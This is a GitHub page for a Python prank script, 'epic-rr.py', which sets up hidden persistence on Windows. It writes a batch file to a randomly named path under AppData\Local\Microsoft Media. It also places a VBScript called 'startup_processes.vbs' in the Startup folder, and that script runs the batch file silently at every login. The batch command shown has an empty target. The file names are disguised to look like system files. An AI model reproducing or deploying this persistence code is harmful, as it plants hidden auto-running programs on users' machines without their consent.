-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathepic-rr.py
80 lines (69 loc) · 2.73 KB
/
epic-rr.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
def repeating_rickroll(bat_file_path):
import platform as pf
import getpass as gp
import os
def get_user():
try:
ret = gp.getuser()
except:
try:
if pf.system() == 'Darwin':
temp_list = os.getcwd().split('/')
elif pf.system() == 'Windows':
temp_list = os.getcwd().split('\\')
ret = temp_list [temp_list.index('Users') + 1]
except:
try:
if pf.system() == 'Darwin':
temp_list = __file__.split('/')
elif pf.system() == 'Windows':
temp_list = __file__.split('\\')
ret = temp_list [temp_list.index('Users') + 1]
except:
ret = 'Unable to determine'
return ret
# Makes path if they dont exist
if not os.path.exists( os.path.dirname(bat_file_path) ):
os.makedirs( os.path.dirname(bat_file_path) )
vbs_file_path = f'C:\\Users\\{get_user()}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\startup_processes.vbs'
# Makes the .bat file
with open(bat_file_path, 'w') as bat_file:
bat_file.write('start "" ""')
# Makes the .vbs file
with open(vbs_file_path, 'w') as vbs_file:
vbs_file.write(f'Set WshShell = CreateObject("WScript.Shell")\nWshShell.Run chr(34) & "{bat_file_path}" & Chr(34), 0\nSet WshShell = Nothing')
if __name__ == "__main__":
import platform as pf
import getpass as gp
import random as r
import os
def get_user():
try:
ret = gp.getuser()
except:
try:
if pf.system() == 'Darwin':
temp_list = os.getcwd().split('/')
elif pf.system() == 'Windows':
temp_list = os.getcwd().split('\\')
ret = temp_list [temp_list.index('Users') + 1]
except:
try:
if pf.system() == 'Darwin':
temp_list = __file__.split('/')
elif pf.system() == 'Windows':
temp_list = __file__.split('\\')
ret = temp_list [temp_list.index('Users') + 1]
except:
ret = 'Unable to determine'
return ret
def rand_string(chars):
import random as r
lib = 'qwertyuiopasdfghjklzxcvbnm'
ret = ''
for _ in range(chars):
rand_chr = lib[r.randint( 0, len(lib)-1 )]
ret += rand_chr
return ret
bat_file_path = f'C:\\Users\\{get_user()}\\AppData\\Local\\Microsoft Media\\{rand_string(12)}.bat'
repeating_rickroll(bat_file_path)